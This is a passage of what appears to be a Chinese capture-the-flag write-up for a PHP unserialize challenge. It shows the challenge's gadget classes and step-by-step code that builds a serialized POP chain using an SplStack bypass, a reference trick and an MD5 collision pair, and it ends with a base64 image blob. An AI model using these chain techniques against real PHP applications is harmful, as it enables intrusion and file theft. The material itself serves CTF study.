else{
echo("兄弟怎么搞的?<br>");
}
}
}
class important{
public $power;
public function __sleep() {
echo("睡饱了,接着找!<br>");
return $this->power->seeyou;
}
}
class useless {
private $seeyou;
public $QW;
public $YXX;
public function __construct($seeyou) {
$this->seeyou = $seeyou;
}
public function __destruct() {
$characters = '0123456789';
$random = substr(str_shuffle($characters), 0, 6);
if (!preg_match('/key\.php\/*$/i', $_SERVER['REQUEST_URI'])){
if((strlen($this->QW))<80 && strlen($this->YXX)<80){
$bool=!is_array($this->QW)&&!is_array($this->YXX)&&(md5($this->QW) === md5($this->YXX)) && ($this->QW != $this->YXX) and $random==='newbee';
if($bool){
echo("快拿到我的小秘密了<br>");
$a = isset($_GET['a'])? $_GET['a']: "" ;
if(!preg_match('/HTTP/i', $a)){
echo (basename($_SERVER[$a]));
echo ('<br>');
if(basename($_SERVER[$a])==='key.php'){
echo("找到了!但好像不能直接使用,怎么办,我好想她<br>");
$file = "key.php";
readfile($file);
}
}
else{
echo("你别这样,她会生气的┭┮﹏┭┮");
}
}
}
else{
echo("就这点能耐?怎么帮我找到她(╥╯^╰╥)<br>");
}
}
}
public function __get($good) {
echo "you are good,你快找到我爱的那个她了<br>";
$zhui = $this->$good;
$zhui[$good]();
}
}
$a = new Me();
$a->bro = &$a->secret;
$a->qwe = new her();
$a->qwe->asd = new important();
$args2 = array(new her,'find');
$args = array('seeyou'=>$args2);
$a->qwe->asd->power = new useless($args);
//$c='%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2';
//$a->qwe->asd->power->YXX = urldecode($c);
//$d = '%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2';
//$a->qwe->asd->power->QW = urldecode($d);
$b = new SplStack();
$b->push($a);
echo urlencode(serialize($b));
?>
分析源码,决定从Me类入手,这里使用SPL类进行绕过,经过测试发现,php7.3是可以执行成功的,而php7.4无法序列化出C开头的链子
$a = new Me();
$b = new SplStack();
$b->push($a);
echo urlencode(serialize($b));
这里给secret赋值随机数,使用引用绕过
$a = new Me();
$a->bro = &$a->secret;
$b = new SplStack();
$b->push($a);
echo urlencode(serialize($b));
return $bb();这里触发invoke
$a = new Me();
$a->bro = &$a->secret;
$a->qwe = new her();
$b = new SplStack();
$b->push($a);
echo urlencode(serialize($b));
然后这里的序列化触发了sleep
$a = new Me();
$a->bro = &$a->secret;
$a->qwe = new her();
$a->qwe->asd = new important();
$b = new SplStack();
$b->push($a);
echo urlencode(serialize($b));
sleep这里我是改成了construct,否则无法生成序列化串
$a = new Me();
$a->bro = &$a->secret;
$a->qwe = new her();
$a->qwe->asd = new important();
$c='%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2';
$a->qwe->asd->power->YXX = urldecode($c);
$d = '%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2';
$a->qwe->asd->power = new useless($args);
$a->qwe->asd->power->QW = urldecode($d);
$b = new SplStack();
$b->push($a);
echo urlencode(serialize($b));
在这里md5强碰撞,然后HTTP部分使用content-type进行绕过
最终得到一堆key
/*/9j/4AAQSkZJRgABAQEAkACQAAD/2wBDAAIBAQIBAQICAgICAgICAwUDAwMDAwYEBAMFBwYHBwcG
BwcICQsJCAgKCAcHCg0KCgsMDAwMBwkODw0MDgsMDAz/2wBDAQICAgMDAwYDAwYMCAcIDAwMDAwM
DAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAz/wAARCAH0Ah4DASIA
AhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQA
AAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3
ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWm
p6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEA
AwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSEx
BhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElK
U1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3
uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD0bS7S
aOxVZpFdl7dMVJ5Oxv8APNQ2x2+tWv8AWLivwypNy2P2J+8R6nJ/xLJMc18s/GLx1JZa+yzbsSZx
zjpj/Gvp7Un8rTJj/dGa+MvjRrDaprU0cmPkd1B+mK+Wzy1RwT8/0PsOHNEZ2oeJVvoo5EjJHP8A
F9Parfh//iYvH/DuP5VjeErIXsKRt0FewfDzwHp8LR/aH3bvu/L/APXr536vefs6aPpqmI62JPA3
wyun1S3uPNCooJbKdP1r3v4beGLfwp4stpPO/wBZnjb1x+PvXB6Jr974c1KVbGOOaTj5XH3sZ79u
tel6bd/2lpKSRr5c9q3mpznI7/0r2MDl84RcZHh1sZz2urHV3ms291ctDNDJDHb/AOrVx69f5CuW
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
